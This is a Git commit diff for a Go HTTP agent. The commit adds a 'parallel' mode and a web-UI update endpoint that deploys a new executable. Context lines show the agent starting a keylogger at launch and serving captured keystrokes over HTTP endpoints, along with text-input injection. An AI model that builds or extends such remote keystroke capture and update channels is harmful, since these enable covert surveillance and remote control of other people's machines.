feat(update): add update deployment via web UI
- Deploy exe to alternate port 5033 - Current instance keeps running - Add parallel mode and addr flag - Add update panel to web UI - Update OpenAPI spec and CLI
This commit is contained in:
+19
-6
@@ -28,9 +28,19 @@ type Agent struct {
|
||||
startedAt time.Time
|
||||
}
|
||||
|
||||
func New() (*Agent, error) {
|
||||
// Config controls agent startup. Zero values use environment defaults.
|
||||
type Config struct {
|
||||
ListenAddr string
|
||||
Parallel bool
|
||||
}
|
||||
|
||||
func New(cfg Config) (*Agent, error) {
|
||||
addr := strings.TrimSpace(cfg.ListenAddr)
|
||||
if addr == "" {
|
||||
addr = config.EnvOr("AGENT_ADDR", config.DefaultAddr)
|
||||
}
|
||||
a := &Agent{
|
||||
addr: config.EnvOr("AGENT_ADDR", config.DefaultAddr),
|
||||
addr: addr,
|
||||
startedAt: time.Now(),
|
||||
}
|
||||
if root := strings.TrimSpace(os.Getenv("AGENT_FILE_ROOT")); root != "" {
|
||||
@@ -40,11 +50,13 @@ func New() (*Agent, error) {
|
||||
}
|
||||
a.root = resolved
|
||||
}
|
||||
guard, err := instance.Acquire()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
if !cfg.Parallel {
|
||||
guard, err := instance.Acquire()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
a.guard = guard
|
||||
}
|
||||
a.guard = guard
|
||||
input.EnableDPIAwareness()
|
||||
if err := keylog.Start(); err != nil {
|
||||
helpers.Log.Printf("keylog start: %v", err)
|
||||
@@ -84,6 +96,7 @@ func (a *Agent) Serve() error {
|
||||
mux.HandleFunc("/api/v1/input/text", a.handleText)
|
||||
mux.HandleFunc("/api/v1/keylog", a.handleKeylog)
|
||||
mux.HandleFunc("/api/v1/keylog/download", a.handleKeylogDownload)
|
||||
mux.HandleFunc("/api/v1/update", a.handleUpdate)
|
||||
|
||||
a.server = &http.Server{
|
||||
Addr: a.addr,
|
||||
|
||||
Reference in New Issue
Block a user